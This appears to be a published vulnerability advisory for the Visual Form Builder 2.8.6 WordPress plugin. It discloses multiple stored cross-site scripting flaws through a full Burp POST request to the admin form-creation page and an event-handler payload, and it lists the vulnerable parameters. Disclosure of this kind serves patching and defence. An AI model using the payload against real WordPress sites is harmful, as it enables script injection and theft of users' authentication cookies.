Product: Visual Form Builder Version: 2.8.6 Exploit Author: Sachin Wagh Home page Link: https://wordpress.org/plugins/visual-form-builder/ ============================================================================ Details: The Visual Form Builder plugin for WordPress is prone to a multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. ============================================================================ Proof-Of-Concept: 1. Burp Request : POST /wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new Cookie: wordpress_9053f69aa70f4fc50a08aff40972c70e=root%7C1459163175%7CgnpQ5n2Jyk8tvw7nITUlZpPevPKU3r5JS9Ja1FqziVQ%7C42531fef03062ec0f133098c9ed48188fdfde52068a62e2fe97bf6cace6400a5; wp-settings-time-1=1458990477; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dexcerpt%26uploader%3D1%26widgets_access%3Doff; wordpress_logged_in_9053f69aa70f4fc50a08aff40972c70e=root%7C1459163175%7CgnpQ5n2Jyk8tvw7nITUlZpPevPKU3r5JS9Ja1FqziVQ%7C9a2dbae4f558cd34542207d3e49ac49e475db7ebc883b067b94a3e6501affaa5; security_level=0; _ga=GA1.1.1331075502.1458634204 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 264 action=create_form&_wpnonce=4cdadd3b17&_wp_http_referer=%2Fwordpress-4.4%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dvfb-add-new&form_title=XSS-1&form_email_from_name=XSS-2&form_email_from=XSS-3&form_email_subject=XSS-4&form_email_to%5B%5D=XSS-5&submit=Create+Form 2. Payload : " onmouseover=prompt(1) " ============================================================================ Vulnerable Product: [+] Visual Form Builder 2.8.6 Vulnerable Parameter(s): [+]form_title [+]form_email_to[] [+]form_email_from_name [+]form_email_from [+]form_email_subject ============================================================================ Affected Area(s): [+] http://localhost/wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new ============================================================================ Credits & Authors : Sachin Wagh (@tiger_tigerboy) ============================================================================